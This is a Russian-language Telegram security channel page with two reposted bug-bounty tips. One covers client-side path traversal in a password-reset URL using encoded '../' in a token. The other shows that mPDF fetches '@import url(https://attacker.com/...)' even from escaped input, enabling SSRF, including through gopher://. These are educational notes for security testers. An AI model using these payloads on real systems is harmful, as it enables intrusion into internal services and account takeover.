Fsecurity | HH
Open in Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
Show more2 075
Subscribers
+124 hours
+67 days
+1630 days
Posts Archive
2 073
Repost from 🕷 BugBountyRu
🕷 ServerClient-side path traversal: баги, основанные на маршрутизации на стороне клиента
Класс багов, связанный с обходом пути на клиенте, становится всё более актуальным.
Классический path traversal (
../../../file) работает на сервере. Здесь идея та же, но на стороне клиента.
👉 Пользовательский ввод влияет на путь → меняется, куда приложение делает запрос или редирект.
💡 В чём суть
Если приложение использует пользовательский ввод для формирования пути — появляется точка атаки.
Пример — сброс пароля:
https://target.com/reset/token?user=victim&Token=810128475189Если значение
Token участвует в формировании пути или редиректа, его можно изменить:
https://target.com/reset/token?user=victim&Token=810128475189%2F..%2F..%2Fuserhttps://target.com/user2 073
Repost from SHADOW:Group
У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с
@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf